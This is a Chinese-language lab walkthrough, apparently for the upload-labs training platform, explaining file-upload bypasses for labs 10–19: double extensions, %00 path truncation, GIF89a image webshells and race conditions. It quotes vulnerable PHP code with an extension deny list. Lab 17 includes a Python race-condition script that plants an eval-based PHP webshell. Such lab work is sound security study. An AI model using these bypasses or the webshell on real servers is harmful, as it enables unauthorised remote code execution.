孤独是与生俱来的种子,萌发于爱上一个人的瞬间
Lab 10
黑盒测试
上传任何文件都没显示上传失败什么的,查看源代码发现后缀被替换掉了
猜测可能是替换一次或者正则替换,上传的时候修改文件名m.pphphp尝试成功
白盒测试
过滤的代码如下
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH . '/' . $file_name)) {
$img_path = UPLOAD_PATH . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
重点在于这两行
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
如果熟读前面的PHP入门文章的话,就会明白trim和srt_ireplace函数的作用。
trim():函数移除字符串两侧的空白字符或特殊字符
srt_ireplace():替换文本
Lab 11
使用%00截断有两个要求:
1、php的版本 < 5.3.4
2、php.ini中的magic_quotes_gpc的状态为Off
黑盒测试
上传PHP文件,提示:只允许上传.jpg|.png|.gif类型文件!
把之前的所有套路组合了一遍都没能上传成功,只好查看源代码了…
白盒测试
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
重点在这里
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
文件名取自10-99随机选择数字,其中路径的$_GET[‘save_path’]在URL中有/index.php?save_path=../upload/。$file_ext是文件后缀
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
strrpos():查找”指定字符串” 在字符串中最后一次出现的位置
substr():替换文本
$img_path是直接拼接的,那么上传漏洞的缺陷在于上传的路径可控,上传路径名%00截断绕过。上传的文件名写成m.jpg, save_path改成../upload/m.php%00,最后保存下来的文件就是m.php
Lab 12
抓包发现save_path是通过post传进来的,与11一样,同样适用%00截断上传。但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
或者可以直接在这里修改
Lab 13
要求上传图片马,用第一章的生成图片马的方式生成图片马后。上传发现失败,白盒测试后发现会读取上传文件的前2个字节判断文件类型,那么在上传的内容中加上一行GIF89a即可
Lab 14
getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过
Lab 15
php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过
Lab 16
这一关有点难,问了别人后给出了上传的方式
修改后缀为m.gif,content-type修改成image/gif,同时在内容上加上GIF89a
白盒测试发现代码判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染
Lab 17
这一关和后两关是真不会….都是问的别人…
通关方式:
这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
首先在burp中不断发送上传webshell的数据包,然后不断在浏览器中访问,发现通过竞争可以访问到上传的木马
使用代码:
# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
url = 'http://192.168.200.138' + '/upload/Pass-17/index.php'
files = {'upload_file': (
'info.php', "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x]);?>');?>", 'image/jpeg')}
data = {'submit': '上传'}
r = requests.post(url=url, data=data,files=files)
re = requests.get('http://192.168.200.138/upload/upload/info.php')
if re.status_code == 200:
print('上传成功')
if __name__ == '__main__':
with ThreadPoolExecutor(20) as p:
p.map(td,range(200))
Lab 18
首先上传图片马,然后和17的条件竞争上传一样。对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功
Lab 19
发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。